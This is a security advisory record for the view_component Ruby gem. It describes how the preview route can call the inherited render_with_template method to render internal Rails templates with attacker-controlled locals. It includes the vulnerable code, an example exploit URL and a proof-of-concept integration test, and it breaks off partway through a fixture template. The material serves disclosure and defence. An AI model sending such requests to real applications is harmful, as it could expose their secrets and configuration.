{"schema_version":"1.9.0","id":"GHSA-7f3r-gwc9-2995","published":"2026-05-08T23:33:14Z","modified":"2026-09-10T03:50:45.954875540Z","aliases":["CVE-2026-44836"],"summary":"view_component: Preview Route Can Dispatch Inherited Helper Methods","details":"### Summary\n\nThe preview route derives an example name from the URL and calls it with `public_send`. The code does not verify that the requested method is one of the preview examples explicitly defined by the preview class.\n\nAs a result, inherited public methods on `ViewComponent::Preview` are route-reachable. The most important one is `render_with_template`, which accepts `template:` and `locals:`. Those values can come from request params and are later passed to Rails as `render template:`.\n\nIf previews are exposed, an attacker can render internal Rails templates that are not otherwise routable.\n\nSeverity: High if preview routes are externally reachable; Medium otherwise.\n\nAffected files:\n\n- `lib/view_component/preview.rb`\n- `app/controllers/concerns/view_component/preview_actions.rb`\n- `app/views/view_components/preview.html.erb`\n\n\n### Relevant Code\n\n`app/controllers/concerns/view_component/preview_actions.rb`:\n\n```ruby\n@example_name = File.basename(params[:path])\n@render_args = @preview.render_args(@example_name, params: params.permit!)\n```\n\n`lib/view_component/preview.rb`:\n\n```ruby\nexample_params_names = instance_method(example).parameters.map(&:last)\nprovided_params = params.slice(*example_params_names).to_h.symbolize_keys\nresult = provided_params.empty? ? new.public_send(example) : new.public_send(example, **provided_params)\n```\n\n`app/views/view_components/preview.html.erb`:\n\n```erb\n<%= render template: @render_args[:template], locals: @render_args[:locals] || {} %>\n```\n\nThe UI only lists direct preview methods via:\n\n```ruby\npublic_instance_methods(false).map(&:to_s).sort\n```\n\nBut `render_args` does not enforce that list before dispatching.\n\n### Exploit Flow\n\nExample request:\n\n```text\nGET /rails/view_components/my_component/render_with_template?template=internal/secret&locals[poc_local]=attacker-controlled-local&request_marker=attacker-controlled-request\n```\n\nFlow:\n\n1. `my_component` resolves to a valid preview.\n2. `File.basename(params[:path])` returns `render_with_template`.\n3. `render_args` calls inherited `ViewComponent::Preview#render_with_template`.\n4. Request params provide `template: \"internal/secret\"` and `locals: {...}`.\n5. The preview view renders `internal/secret` with attacker-controlled locals.\n\nImpact depends on what internal templates render. In the worst case this can expose secrets, config, debug data, admin-only partials, or request/session-derived values.\n\n### PoC Test\n\nThis checkout already contains a PoC at:\n\n- `test/sandbox/test/security_preview_template_poc_test.rb`\n- `test/sandbox/app/views/internal/secret.html.erb`\n\nThe test proves that `/internal/secret` is not directly routable, but can still be rendered through the preview endpoint by invoking inherited `render_with_template`.\n\nIf reproducing manually, run:\n\n```bash\nbundle exec ruby -Itest test/sandbox/test/security_preview_template_poc_test.rb\n```\n\nEquivalent standalone test:\n\n```ruby\n# frozen_string_literal: true\n\nrequire \"test_helper\"\n\nclass SecurityPreviewTemplatePocTest < ActionDispatch::IntegrationTest\n def setup\n ViewComponent::Preview.__vc_load_previews\n end\n\n def test_preview_route_can_invoke_inherited_render_with_template\n refute_includes MyComponentPreview.examples, \"render_with_template\"\n\n assert_raises(ActionController::RoutingError) do\n Rails.application.routes.recognize_path(\"/internal/secret\")\n end\n\n get(\n \"/rails/view_components/my_component/render_with_template\",\n params: {\n template: \"internal/secret\",\n locals: {poc_local: \"attacker-controlled-local\"},\n request_marker: \"attacker-controlled-request\"\n }\n )\n\n assert_response :success\n assert_includes response.body, \"VC_PREVIEW_POC_SECRET=foo\"\n assert_includes response.body, \"VC_PREVIEW_POC_LOCAL=attacker-controlled-local\"\n assert_includes response.body, \"VC_PREVIEW_POC_REQUEST=attacker-controlled-request\"\n end\nend\n```\n\nFixture template:\n\n```erb\n